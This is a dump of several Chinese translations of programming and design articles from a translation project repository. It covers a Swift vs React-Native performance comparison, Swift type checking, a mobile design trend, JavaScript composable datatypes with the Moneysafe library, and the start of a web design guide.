的东西,按你想要的顺序来设置你应用的屏幕,放一个箭头,指向程序启动的首屏。在第一个 tab(“Profile”)里,我要拖一个图片视图、姓名标签和邮箱标签。然后,我拖住它跟代码做一个链接,在代码里创建一个新变量。接着,以编程的方式,一旦用户登录了 Facebook,我就把变量的值改变成 Facebook 里的值。通过视频,我花了三周的时间来适应并完成了 Swift/iOS 的代码。 你可以在 GitHub 上看一下这个应用的 Swift 版本的代码,链接在这里:[https://github.com/jcalderaio/swift-honors-app](https://github.com/jcalderaio/swift-honors-app) Swift Tab 1 (Facebook Login) Swift Tab 2 (To-Do List) Swift Tab 3 (Page View) Swift Tab 4 (Maps) ### React-Native 的历程 ### 第二部分是 React-Native。学习 JavaScript 比 Swift 要难上一点,但也不是很困难。我试着利用我从网上学到的一些零碎的 React-Native 知识来编写应用,但是还不够。我需要一些视频讲座。回到 **Udemy.com**,我看了 Stephen Grider 介绍 React-Native 的精彩演讲。一开始的时候,我感到非常不知所措,React-Native 的结构对我一点用也没有。不过在看了 Stephen Grider 的演讲之后的一周,我已经可以自己编码了。 我对 React-Native 感到真正喜欢的地方是,你写的每一行代码都很说得通,你知道每一行代码的作用。另外,不像在 iOS 里(需要调整每个页面,让他们在横屏或者竖屏时显示正确的尺寸),在 React-Native 里,所有的都调整好了。不需要任何设置,我就能让我的应用看上去很完美。我在一些不同尺寸的 iphone 上运行我的程序也跑得很好。因为 React-Native 使用的是 flexbox(有点像 HTML 中的 CSS),它对正在展示的页面尺寸来说是响应式的。 你可以在 GitHub 上看一下这个应用的 React-Native 版本的代码,连接在这里:[https://github.com/jcalderaio/react-native-honors-app](https://github.com/jcalderaio/react-native-honors-app) React-Native Tab 1 (Facebook Login) React-Native Tab 2 (To-Do List) React-Native Tab 3 (Page View) React-Native Tab 4 (Maps) ### 数据 ### 现在是时候来对比一下看看哪个应用性能更出色了。我会通过 Apple Instruments(Xcode 里的工具包)工具,测试两个应用的三个主要类别:CPU(“Time Profiler Tool”)、GPU(“Core Animation Tool”)和内存使用 (“Allocations Tool”)。Apple Instruments 允许我连接手机,然后选择手机上的任何应用,再选择我要用的测试工具,然后记录测试。 每个应用有 4 个 tab,每个 tab 都有一个“任务”,我在每个类别里测试。首先是 “Profile”,它的功能是登陆 Facebook。在代码里的表现形式是请求 Facebook 服务器,返回个人信息图片、邮箱以及姓名。第二个(“To Do List”)任务是从列表里添加或删除一个“代办项”。第三个(“Page View”)任务是在三个页面间来回滑动。第四个(“Maps”)任务是点击 tab 后,代码会让 GPS 来放大我当前的位置,在我的位置上放一个蓝色的放射形标记。 ### CPU 测试 ### Swift VS React-Native 的 CPU 用量 **让我们来看看各个类别的情况:** ***Profile:*** React-Native 在这里略胜一筹,它比 Swift 更有效地利用了 1.86% 的 CPU。在执行任务并记录数据的过程中,当我按下 “Log in with Facebook” 按钮的时候可以明显观察到有一个峰值。 ***To Do List:*** React-Native 同样以微弱的优势胜出,它比 Swift 节省了 1.53% 的 CPU 的使用。在执行任务并记录数据的过程中,当我**添加完(added)** 一项以及**删除完(deleted)** 一项的时候,可以明显观察到有一个峰值。 ***Page View:*** 这一次,Swift 用 8.82% 的 CPU 使用率打败了 React-Native。在执行任务并记录数据的过程中,当我滑动到另一个不同的页面时候可以明显观察到有一个峰值。当我停留在一个页面时,CPU 的使用会减少,但是如果我再次滑动页面,CPU 的使用就会增加。 ***Maps:*** Swift 再次以 13.68% 的优势胜出。在执行任务并记录数据的过程中,当我按下 “Maps” 这个 tab 的时候可以明显观察到有一个峰值,这会促使 MapView 找到我当前位置,并显示一个显眼的蓝色脉冲点。 是的,Swift 和 React-Native 都赢得了两个 tab 的胜利,但是整体而言 Swift 更高效的使用了 17.58% 的 CPU。如果我让自己不专注于单个任务执行与停止,而是在各个应用长时间运行,那结果可能会不同。而我也注意到了在切换不同的 tab 时,CPU 使用并没有变化。 ### GPU 测试 ### 我们要绘制的第二个数据表是 GPU 用量情况。 我将为 Swift 和 React Native 的项目中的每个 tab 执行一个任务并记下测量结果。Y 轴的高度是 60 帧/秒。每秒,我执行每个 tab 的任务的时候,一个测量就会被 “Core Animation” 工具记录下来。我会取这些数据的平均值,然后绘制成下面的图表。 Swift VS React-Native 的 GPU 用量 让我们看看每个类别的情况: ***Profile:*** Swift 以比 React Native 高出 1.7 帧/秒的帧率的微弱优势,赢得了这个 tab 的胜利。在执行任务并记录数据的过程中,当我按下 “Log in with Facebook” 按钮的时候可以明显观察到有一个峰值。 ***To Do List:*** React-Native 以比 Swift 高出 6.25 帧/秒的帧率赢得了这个类别的胜利。在执行任务并记录数据的过程中,当我**添加完(added)** 一项以及**删除完(deleted)** 一项的时候,可以明显观察到有一个峰值。 ***Page View:*** Swift 在这个 tab 上以 3.6 帧/秒的帧率击败了 React-Native。在执行任务并记录数据的过程中,我观察到,如果我快速滑动两个页面,帧率会急升到 50。如果我停留在一个页面,那帧率会下降,但是如果我重新再页面之间滑动,帧数又会急升。 ***Maps:*** React-Native 赢得了这个类别的胜利,因为它的帧率比 Swift 高出 3 帧/秒。在执行任务并记录数据的过程中,当我按下 “Maps” 这个 tab 的时候,可以明显观察到有一个峰值,且这会促使 MapView 会找到我当前位置,并显示一个显眼的蓝色脉冲点。 Swift 和 React-Native 再一次的各自赢得了两个 tab 的胜利。但是,React-Native 以 0.95 帧/秒在整体上胜出。Facebook 从 React-Native 的代码中榨出的果汁量让人非常吃惊 — 目前为止,React-Native 似乎和 iOS(Swift)不相上下。 ### 内存测试 ### 我们要绘制的第三个数据表是内存的使用情况。我将为 Swift 和 React Native 的项目中的每个 tab 执行一个任务并记下测量结果。Y 轴(内存)的高度是我测量数据的最高值。CPU 的使用率采集间隔是 1 毫秒。在每毫秒,我执行每个 tab 的任务的时候,“Allocations” 工具就会记录一个测量。我会取这些数据的平均值,然后绘制成下面的图表。 Swift VS React-Native 内存使用 让我们看看每个类别的情况: ***Profile:*** Swift 以节省 0.02 MiB 的内存使用,稍微赢得这个 tab 的胜利。在执行任务并记录数据的过程中,当我按下 “Log in with Facebook” 按钮的时候可以明显观察到有一个峰值。 ***To Do List:*** React-Native 以比 Swift 节省 0.83 MiB 的内存赢得了这个 tab 的胜利。在执行任务并记录数据的过程中,当我向列表**添加完(added)** 一项以及**删除完(deleted)** 一项的时候,可以明显观察到有一个峰值。 ***Page View:*** 在这个 tab 中,React-Native 以节省 0.04 MiB 的内存用量击败了 Swift。在执行任务并记录数据的过程中,我发现我在 PageView 切换页面的时,内存的峰值并没有改变。字面上没变。 ***Maps:*** React-Native 节省了 61.11 MiB 的内存,以巨大优势赢得了这个类别的胜利。在执行任务并记录数据的过程中,我按下 “Maps” 这个 tab 的时候可以明显观察到一个峰值,而且这会促使 MapView 会找到我当前位置,并显示一个显眼的蓝色脉冲点。在两个 app 里,内存都在持续的增加,但最终都停止了。 React-Native 赢得了 3 个 tab 的胜利,而 Swift 赢得了 1 个。整体而言,React-Native 比 Swift 节省了 61.96 MiB 的内存。如果我让自己不专注于单个任务执行与停止,而是在各个应用长时间运行,那结果可能会不同。我在 “Maps” 的 tab 注意到,当我缩放地图或者移动地图的时候,内存呈指数地增长。“Maps” 消耗的内存要远远高于其他情况。 ### 结论 ### 我用 Swift 和 React-Native 写的移动应用程序外观看上去几乎相同。从我在 4 个 tab 的任务中,测试应用程序的 CPU、GPU 和内存所收集的数据可以看出,应用程序的性能也几乎相同。Swift 在 CPU 这一类别整体胜出,React-Native 在 GPU 这一类别(略微)胜出,而在内存上以巨大的优势胜出。我可以从这个数据推测出,在 iPhone 上,Swift 比 React-Native 更有效的利用了 CPU,而 React-Native 比 Swift 略微有效的利用了 GPU,而且 React-Native 在某种程度上更有效的利用了 iphone 的内存。React-Native 在平台上的性能更好,赢得了三个类别中的两个。 我并没有考虑原生的 Android 应用。iOS 是我优先选择的平台,所以这是我最关心的。但是,我也会尽快的在 Android 上完成同样的实验。我很好奇结果会是什么,但是我敢打赌,如果 React-Native 能比原生的 iOS 性能好,那它也一定比原生的 Android 的性能要好。 我现在更加确信 React-Native 是未来的框架 - 它有这么多的优点,那么少的缺点。React-Native 可以用Javascript 编写(许多开发人员已经知道的语言),它的代码库可以部署到 iOS 和 Android 平台,制作应用程序的速度更快、成本更低,而且开发人员可以直接推送更新,而用户不必再下载更新。最棒的是,在刚推出一年的时候,React-Native 的性能已经超越了原生的 iOS Swift 应用程序。 ### 引用 ### Abed, Robbie. “Hybrid vs Native Mobile Apps — The Answer Is Clear.” *Y Media Labs*, 10 Nov. 2016, [www.ymedialabs.com/hybrid-vs-native-mobile-apps-the-answer-](http://www.ymedialabs.com/hybrid-vs-native-mobile-apps-the-answer-) is-clear/. Accessed 5 December 2016. M, Igor. “IOS App Performance: Instruments &Amp; Beyond.” *Medium*, 2 Feb. 2016, medium.com/@mandrigin/ios-app-performance-instruments-beyond- 48fe7b7cdf2#.6knqxp1gd. Accessed 4 Dec 2016. “React Native | A Framework for Building Native Apps Using React.” *React Native*, facebook.github.io/react-native/releases/next/. Accessed 5 Dec 2016. ================================================ FILE: TODO/compile-time-vs-runtime-type-checking-swift.md ================================================ >* 原文链接 : [Compile Time vs. Run Time Type Checking in Swift](http://blog.benjamin-encz.de/post/compile-time-vs-runtime-type-checking-swift/) * 原文作者 : [Benjamin Encz](https://twitter.com/benjaminencz) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Jack](https://github.com/Jack-Kingdom) * 校对者: [Tuccuay](https://github.com/Tuccuay), [void-main](https://github.com/void-main) # 深度剖析 Swift 编译与运行时的类型检查 当我们学习如何使用 Swift 的类型系统时,理解 Swift(与其他编程语言类似)静态与动态两种不同的类型检查机制非常重要。 今天,我想简短地谈论一下二者的不同以及组合使用二者时一些令人头疼的地方。 静态类型检查发生在编译期,动态类型检查则在运行期。 二者使用了部分不兼容的不同工具集。 ## 编译期的类型检查 编译期类型检查(或称为静态类型检查)操作 Swift 源码。 Swift 编译器会检查声明的类型并进行类型推断,确保类型约束的正确性。 这是一个静态类型检查的简单的例子: let text: String = "" // 编译错误: 不能将 'String' 类型的值转换为 'Int' let number: Int = text 据源码编译器能够确定 `text` 不是 `Int` 类型 - 因此他抛出了一个编译错误。 Swift 的静态类型检查器可以完成许多更强大的工作,例如验证泛型约束: protocol HasName {} protocol HumanType {} struct User: HasName, HumanType { } struct Visitor: HasName, HumanType { } struct Car: HasName {} // Require a type that is both human and provides a name func printHumanName>(thing: T) { // ... } // 正常编译: printHumanName(User()) // 正常编译: printHumanName(Visitor()) // 不能用类型为 '(Car)' 的参数列表调用 'printHumanName' printHumanName(Car()) 在这个例子中,所有的类型检查再次发生在编译期,仅基于源代码。 Swift 编译器能够验证调用 `printHumanName` 函数的参数与泛型约束的是否匹配;一有不符便会发出编译错误。 尽管 Swift 的静态类型系统提供了如此多的编译期验证的强大工具。 但是,在某些情况下,运行期类型检查也是必要的。 ## 运行期的类型检查 不幸的是我们并不能光靠静态类型检查就解决所有问题。 从外部资源(网络,数据库,等等)读取数据就是最常见的例子。 在这些情况下数据和类型信息并不在源码中,此外我们也无法向静态类型检查器证明我们的数据是一个特定的类型(因为静态类型检查器只能对源码上获取的信息进行操作)。 这意味着我们需要在运行期动态地_验证_类型,而非静态地定义。 在进行运行期的类型检查时我们依赖于 Swift 实例存储在内存中的元数据类型。 在这个阶段,`is` 和 `as` 关键字是验证元数据是否是特定类型或符合特定协议的实例的仅有工具。 这也是形形色色的 Swift JSON 映射库所做的事——提供一套方便的API动态地转换一个未知的类型使其与一个特定变量的类型相匹配。 在许多情况下动态类型检查使得我们能够在通过静态检查的 Swift 代码中整合编译期的未知类型: func takesHuman(human: HumanType) {} var unknownData: Any = User() if let unknownData = unknownData as? HumanType { takesHuman(unknownData) } 以 `unknownData` 调用函数,我们只需将其转换为函数的参数类型。 虽然如此,如果我们尝试使用这种方法去调用以泛型约束为参的函数时,则会出错... ## 结合动态与静态类型检查 继续之前 `printHumanName` 的例子,假定我们通过网络请求收到了数据,继而我们需要调用 `printHumanName` 方法 - 如果动态类型推断允许我们这样做的话。 我们的类型必须符合两种不同的协议才能成为 `printHumanName` 函数的合格参数。 那么,我们动态地检查一下条件: var unknownData: Any = User() if let unknownData = unknownData as? protocol { // 编译错误:不能以 '(protocol)' 参数类型调用 'printHumanName' printHumanName(unknownData) } 上面例子中的动态类型检查实际上正确地执行了。 确认类型满足两种预期的协议后, `if let`代码块才能执行。 虽然如此,我们不能对编译器如此使用。 编译器期待的是一个符合 `HumanType` 与 `HasName` 的_具体的_类型(能够在编译期完全界定的类型)。 而我们所能提供的是一个只能动态验证的类型。 在 Swift 2.2 中,没有办法使其通过编译。 在这篇文章的最后,我将简要地谈一谈如何对 Swift 做出一些必要的改变使得这种方法能够工作。 现在,我们需要一个解决方案。 ### 解决方案 之前,我们尝试使用了下面两种方法: * 将 `unknownData` 转换为一种确定的类型而非协议 * 提供 `printHumanName` 第二种不使用泛型约束的实现 确定类型的解决方案如下: if let user = unknownData as? User { printHumanName(user) } else if let visitor = unknownData as? Visitor { printHumanName(visitor) } 并不优雅;但在某些情况下这是最可能的解决方案。 重新实现 `printHumanName` 方法的解决方案如下(具体的方案有很多): func _printHumanName(thing: Any) { if let hasName = thing as? HasName where thing is HumanType { // Put implementation code here // Or call a third function that is shared between // both implementations of `printHumanName` } else { fatalError("Provided Incorrect Type") } } _printHumanName(unknownData) 在这种解决方案里,我们用运行期检查取代了编译器约束。 我们将 `Any` 类型转换为能够允许我们获取相应信息打印姓名的 `HasName` 类型,并且我们使用了 `is` 检查确认类型符合 `HumanType` 。 我们已经确立了一种等价于泛型约束的动态类型检查。 如果一个随机的类型符合我们需要的协议,那么我们所提供的第二种实现将会动态地执行。实际上,我会将调用 `printHumanName` 与 `_printHumanName` 的实际功能抽取出来写成一个新的函数——这样我们就能避免重复编码。 方案中的“类型擦除”函数接受一个 `Any` 参数并不十分美观; 实际上在函数能够被保证通过正确的类型调用时我使用过类似的方法,但是没有一种 Swift 类型系统支持的表达方式。 ## 结论 上面的例子是非常简单的,但是我希望他们能展示编译期与运行期类型检查的不同。 关键在于: * 静态类型检查在编译期工作,依靠类型声明和类型约束对源码进行类型检查。 * 动态类型检查依靠运行时的信息和转换进行类型检查。 * **我们不能动态转换一个参数去调用一个以泛型约束为参的函数**. Swift 是否有可能会添加这样的支持呢? 我认为这种动态地创建和使用约束元类型的能力需要的。 这种语法可能会像这样: if let value = unknownData as? T { printHumanName(value) } 关于 Swift 编译器我了解的太少以至于我并不知道这样是否可行。 可以预见的是这样的改进相比给 Swift 代码库的微小益处而言,修改关联代码重新实现的代价将可能非常巨大。 虽然如此, 根据这篇 [David Smith](https://twitter.com/Catfish_Man) 在 [Stack Overflow 的回答](http://stackoverflow.com/questions/28124684/swift-check-if-generic-type-conforms-to-protocol), Swift 现今已可以在运行期检查泛型约束(除非编译器为一个函数生成的性能优化的副本). 这意味着泛型约束的信息在运行期是可用的,并且至少在理论上来说动态创建元类型约束是可行的。 现在,我们就更好理解结合动态与静态类型检查的局限性和可行的解决方法。 没有 [@AirspeedSwift](https://twitter.com/AirspeedSwift) 的优秀引文我难以完成这篇文章。 ================================================ FILE: TODO/complexion-reduction-a-new-trend-in-mobile-design.md ================================================ >* 原文链接 : [Complexion Reduction: A New Trend In Mobile Design](https://medium.com/swarm-nyc/complexion-reduction-a-new-trend-in-mobile-design-cef033a0b978) * 原文作者 : [Michael Horton](https://medium.com/@michaelhorton) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [shixinzhang](https://github.com/shixinzhang) * 校对者 : [cyseria ](https://github.com/cyseria ) , [wild-flame](https://github.com/wild-flame) # 移动应用设计新趋势 **我们生活在一个“极简风格”的世界有些时候了,接下来会怎么样呢?** 过去的几个月中,一些创新设计的先驱将“简约设计”带到了新的阶段。Facebook, Airbnb 和 Apple 都 都遵循一种相似的“界面简化”的设计风格来凸出产品的内容,这种设计影响了移动设计的新趋势。 #### 究竟什么是“界面简化”? 什么?你从来没听说过这个概念?好吧,因为它是我命名的:)。最近我留意到一种超越扁平化设计、极简设计的新设计趋势,它与[简化设计](http://www.uxbooth.com/articles/progressive-content/)也没有关系。有些人可能认为它只是极简设计下一阶段在移动端的实现,但是我认为这两者完全不同。下面是描述新趋势的一些特点。我决定给它命名为“界面简化”。没人不同意吧?:) **风靡硅谷的新趋势有以下特点:** 1. **标题更大、更粗** 2. **图标更简单、更常见** 3. **去除大量的颜色** 使用这种设计的结果呢?一些受人喜爱的应用的界面越来越像同一个品牌下的产品。 #### 举几个栗子 五月初 **Instagram** 发布[新版界面](https://medium.com/@ianspalter/designing-a-new-look-for-instagram-inspired-by-the-community-84530eb355e3#.gmyokj9qa)时我开启注意到这种新趋势。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f5rbu2godsj20go0frtb7.jpg) 官方介绍新版界面做了去除整个应用大部分的蓝色、深灰色,加粗标题,简化底部导航栏跟图标等改变。**剩下的是一款标题明显、内容突出、功能清晰的黑白主色调界面。**我喜欢这种简洁的界面,同时想起了另一款我追随好久的平台[**Medium**](http://www.medium.com)。Medium从2012年开始就使用黑白色基调,每次改版都在简化界面,实际上人们都不知道 Medium 是“界面简化”的发起人之一。恭喜 Medium ! 在 Facebook 发布 Instagram 新版界面后不久,我发现 Airbnb 跟 Instagram 看起来也太像了!这是 Airbnb [四月份发布新版界面](https://www.airbnb.com/livethere)后我第一次使用,但是我的感觉是早就见过这种界面。 ![](http://ww3.sinaimg.cn/large/a490147fgw1f5rbuk3685j20go0hr76v.jpg) 虽然一个月后 **Airbnb** 的新版 UI 没有像 Instagram 发布新设计界面时那样被大肆报道(可能是因为它没有换一款让人眼前一亮的应用图标),它还是遵循了很多“界面简化”的要点的。 Airbnb 移动端新界面的标题更大更粗,同时去除了不必要的图片和背景色,简化了图标让它们更容易辨认功能。**剩下的是一款内容突出、功能清晰的黑白主题界面。** **Apple** 最近也加入了“界面简化”的设计风潮。这个月初,科技界巨头苹果公司在它们的 [WWDC](http://www.wired.com/2016/06/heres-everything-apple-announced-wwdc-2016/) 大会上发布了许多用户期待的东西,其中包括所谓的“最最最牛的 iOS 版本” iOS 10 正式版(或许跟 iOS 8 相比的确牛一些:( )。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f5rbv560zij20go0hr415.jpg) 在 WWDC 上有一个内容吸引了我,**Apple Music 的新版 UI** 。新版 UI 最大的改动是用户体验的变化和一些其他特点,其中最先吸引我的是整体界面的美感。Macword 全职作家 Caitlin McGarry [对新版界面描述道](http://www.macworld.com/article/3082637/ios/every-change-coming-to-apple-music-in-ios-10.html):**“这是一个全新的界面,大号的卡片布局,显眼的字体,白色简洁的背景,让专辑封面更加耀眼** 听起来是不是有点耳熟?Apple Music 的设计跟 Instagram 、Airbnb 的设计风格略有不同(后者用的是完全填充的图标,Apple Music 怎么不换呢?),但是关键元素都是一样的:显眼的标题,黑白色调的界面。 #### 这些应用的新版界面意味着什么呢? 正如我开始所说,将来会有越来越多的应用看起来长得都很相似。为什么这么说?就跟 NFL (美国国家足球联盟)一样,科技圈里到处都是山寨版。这些新版设计普遍受到好评(有些人可能一开始会抱怨这些黑白界面中没有什么特点,但是没多久他们就会适应了。人们使用软件都是为了使用它的功能,而不是为了它的特点),所以我希望所有应用都能加入这股“界面简化”的热潮中! > 这意味着你的iPhone主屏幕上很快只是一片会带给你欢乐的五颜六色的闪耀的马赛克了。 ![](http://ww3.sinaimg.cn/large/a490147fgw1f5rbwhezc1j20u00goaee.jpg) **现在不论你是否支持这种单色调的设计风格,都要承认它是一种进步。**产品的设计从之前的崇尚浮夸,开始逐渐演化的更聚焦于用户。在过去的产品设计流程中,用户体验师或者产品经理将原型图交给设计师,然后扔下句:“做的好看点。”设计师花费好多时间填色、去色、改色,却一直没有注意到最好的解决方法就在他们面前,那些原型图!在如今更加完整的设计流程中, 设计师和体验师的界限越来越模糊,设计师不必那么担心没有尽到他们的责任(比如把界面做的好看些),从而可以专注于为他们的用户创造最好的产品。 #### 界面简化的最终指南 现在你也看好“界面简化”并且准备跟随这种风潮?好的,遵循以下指导,没多久你的应用就能大火特火! > **1\. 去除颜色。**当然你可以有一种主题色,但是要慎用,尽量只用在指示操作上。剩下的最好都用黑白色,突显你应用的内容。 > **2\. 更大、更粗、颜色更黑的标题。**你看到那个标题了吗?将它增加约20至30像素,让它看起来“重”一些。 > **3\. 简单、辨识度高的图标。**应用里的图标(底部导航的图标)最好很常见,周围也不要有什么颜色。把它们从左到右按这种顺序排列;主页、搜索、主要操作、次要操作、个人中心,这样体验更好。 > **4\. 增加两倍甚至三倍的留白。**甚至四倍留白,多点总没错。 > **5\. 应用图标颜色更亮些。**如果你喜欢设计一些带有闪光和颜色的东西,就做应用图标吧。它可以表现你的个性和品牌,让它脱颖而出吧! ================================================ FILE: TODO/composable-datatypes-with-functions.md ================================================ > * 原文地址:[Composable Datatypes with Functions](https://medium.com/javascript-scene/composable-datatypes-with-functions-aec72db3b093) > * 原文作者:[ Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/composable-datatypes-with-functions.md](https://github.com/xitu/gold-miner/blob/master/TODO/composable-datatypes-with-functions.md) > * 译者:[yoyoyohamapi](https://github.com/yoyoyohamapi) > * 校对者:[IridescentMia](https://github.com/IridescentMia) [lampui](https://github.com/lampui) # 借助函数完成可组合的数据类型(软件编写)(第十部分) ![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg) (译注:该图是用 PS 将烟雾处理成方块状后得到的效果,参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。) > 注意:这是 “软件编写” 系列文章的第十部分,该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件(compositional software)技术(译注:关于软件可组合性的概念,参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability))。后续还有更多精彩内容,敬请期待! > [<上一篇](https://medium.com/javascript-scene/why-composition-is-harder-with-classes-c3e627dcd0aa) | [<< 返回第一章](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) 在 JavaScript 中,最简单的方式完成组合就是函数组合,并且一个函数只是一个你能够为之添加方法的对象。换言之,你可以这么做: ```js const t = value => { const fn = () => value; fn.toString = () => `t(${ value })`; return fn; }; const someValue = t(2); console.log( someValue.toString() // "t(2)" ); ``` 这是一个返回数字类型实例的工厂函数 `t`。但是要注意,这些实例不是简单的对象,它们是函数,并且是可组合的函数。假定我们使用 `t()` 来完成求和任务,那么当我们组合若干个函数 `t()` 来求和也就是合情合理的。 首先,假定我们为 `t()` 确立了一些规则(`====` 意味着 “等于”): - `t(x)(t(0)) ==== t(x)` - `t(x)(t(1)) ==== t(x + 1)` 在 JavaScript 中,你也可以通过我们创建好的 `.toString()` 方法进行比较: - `t(x)(t(0)).toString() === t(x).toString()` - `t(x)(t(1)).toString() === t(x + 1).toString()` 我们也能将上述代码翻译为一种简单的单元测试: ```js const assert = { same: (actual, expected, msg) => { if (actual.toString() !== expected.toString()) { throw new Error(`NOT OK: ${ msg } Expected: ${ expected } Actual: ${ actual } `); } console.log(`OK: ${ msg }`); } }; { const msg = 'a value t(x) composed with t(0) ==== t(x)'; const x = 20; const a = t(x)(t(0)); const b = t(x); assert.same(a, b, msg); } { const msg = 'a value t(x) composed with t(1) ==== t(x + 1)'; const x = 20; const a = t(x)(t(1)); const b = t(x + 1); assert.same(a, b, msg); } ``` 起初,测试会失败: ``` NOT OK: a value t(x) composed with t(0) ==== t(x) Expected: t(20) Actual: 20 ``` 但是我们经过下面 3 步能让测试通过: 1. 将函数 `fn` 变为 `add` 函数,该函数返回 `t(value + n)` ,`n` 表示传入参数。 2. 为函数 `t` 添加一个 `.valueOf()` 方法,使得新的 `add()` 函数能够接受 `t()` 返回的实例作为参数。 `+` 运算符会使用 `n.valueOf()` 的结果作为第二个操作数。 3. 使用 `Object.assign()` 将 `toString()`,`.valueOf()` 方法分配给 `add()` 函数 将 1 至 3 步综合起来得到: ```js const t = value => { const add = n => t(value + n); return Object.assign(add, { toString: () => `t(${ value })`, valueOf: () => value }); }; ``` 之后,测试便能通过: ``` "OK: a value t(x) composed with t(0) ==== t(x)" "OK: a value t(x) composed with t(1) ==== t(x + 1)" ``` 现在,你可以使用函数组合来组合 t() ,从而达到求和任务: ```js // 自顶向下的函数组合: const pipe = (...fns) => x => fns.reduce((y, f) => f(y), x); // 求和函数为 pipeline 传入需要的初始值 // curry 化的 pipeline 复用度更好,我们可以延迟传入任意的初始值 const sumT = (...fns) => pipe(...fns)(t(0)); sumT( t(2), t(4), t(-1) ).valueOf(); // 5 ``` ## 任何数据类型都适用 无论你的数据形态是什么样子的,只要它存在有意义的组合操作,上面的策略都能帮到你。对于列表或者字符串来说,组合能够完成连接操作。对于 DSP(数字信号处理)来说,组合完成的就是信号的求和。当然,其他的操作也能为你带来想要的结果。那么问题来了,哪种操作最能反映组合的观念?换言之,哪种操作能更受益于下面的代码组织方式: ```js const result = compose( value1, value2, value3 ); ``` ## 可组合的货币 [Moneysafe](https://github.com/ericelliott/moneysafe) 是一个实现了这个可组合的、函数式数据类型风格的开源库。JavaScript 的 `Number` 类型无法精确地表示美分的计算: ```js .1 + .2 === .3 // false ``` Moneysafe 通过将美元类型提升为美分类型解决了这个问题: ``` npm install --save moneysafe ``` 之后: ```js import { $ } from 'moneysafe'; $(.1) + $(.2) === $(.3).cents; // true ``` ledger 语法利用了 Moneysafe 将一般的值提升为可组合函数的优势。它暴露一个简单的、称之为 ledger 的函数组合套件: ```js import { $ } from 'moneysafe'; import { $$, subtractPercent, addPercent } from 'moneysafe/ledger'; $$( $(40), $(60), // 减去折扣 subtractPercent(20), // 上税 addPercent(10) ).$; // 88 ``` 该函数的返回值类型是提升后 money 类型。该返回值暴露一个 `.$` getter 方法,这个 getter 能够将内部的浮点美分值四舍五入为美元。 该结果是执行 ledger 风格的金币计算一个直观反映。 ## 测试一下你是否真的懂了 克隆 Moneysafe 仓库: ``` git clone git@github.com:ericelliott/moneysafe.git ``` 执行安装过程: ``` npm install ``` 运行单元测试,监控控制台输出。所有的用例都会通过: ``` npm run watch ``` 打开一个新的终端,删除 moneysafe 的实现: ``` rm source/moneysafe.js && touch source/moneysafe.js ``` 回到之前的终端窗口,你将会看到一个错误。 你现在的任务是利用单元测试输出及文档的帮助,从头实现 `moneysafe.js` 并通过所有测试。 [下一篇: JavaScript Monads 让一切变得简单 >](https://medium.com/javascript-scene/javascript-monads-made-simple-7856be57bfe8) ## 接下来 想学习更多 JavaScript 函数式编程吗? [跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/),机不可失时不再来! [](https://ericelliottjs.com/product/lifetime-access-pass/) **Eric Elliott** 是 [**“编写 JavaScript 应用”**](http://pjabook.com) (O’Reilly) 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献,例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家,包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。 大多数时间,他都在 San Francisco Bay Area,同这世上最美丽的女子在一起。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/comprehensive-guide-web-design.md ================================================ > * 原文地址:[A Comprehensive Guide To Web Design](https://www.smashingmagazine.com/2017/11/comprehensive-guide-web-design/?utm_source=frontendfocus&utm_medium=email) > * 原文作者:[Nick Babich](https://www.smashingmagazine.com/author/nickbabich) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/comprehensive-guide-web-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/comprehensive-guide-web-design.md) > * 译者:[horizon13th](https://github.com/horizon13th) > * 校对者:[pot-code](https://github.com/pot-code)        # A Comprehensive Guide To Web Design # 网站设计综合指南 **摘要** **(此博文为赞助博文)** 网站设计往往是个棘手的问题。在设计网站时,设计师和开发者往往需要考虑很多要素,从视觉表现(网页看起来如何)到功能设计(网站用起来如何)。为了细化网站设计任务,我们为读者呈上此文。 本文将着重讲述设计主旨,设计启发,设计方法,为你的网站打造更好的用户体验。我们从大方向着手,例如用户旅程(怎样定义网站“骨架”),细化到单一页面(网页设计需要考虑什么)。同时我们也会提及其他的设计要素,例如移动端支持与测试。 #### 目录 **设计用户旅程 Designing The User Journey** 1. [信息架构 Information Architecture](#information-architecture) 2. [全局导航 Global Navigation](#global-navigation) 3. [链接与菜单项 Links and Navigation Options](#links-and-navigation-Options) 4. [浏览器的“后退”按钮 “Back” Button in Browser ](#back-button-in-browser) 5. [面包屑导航 Breadcrumbs](#breadcrumbs) 6. [搜索栏 Search](#search) **设计独立页面 Designing Individual Pages** 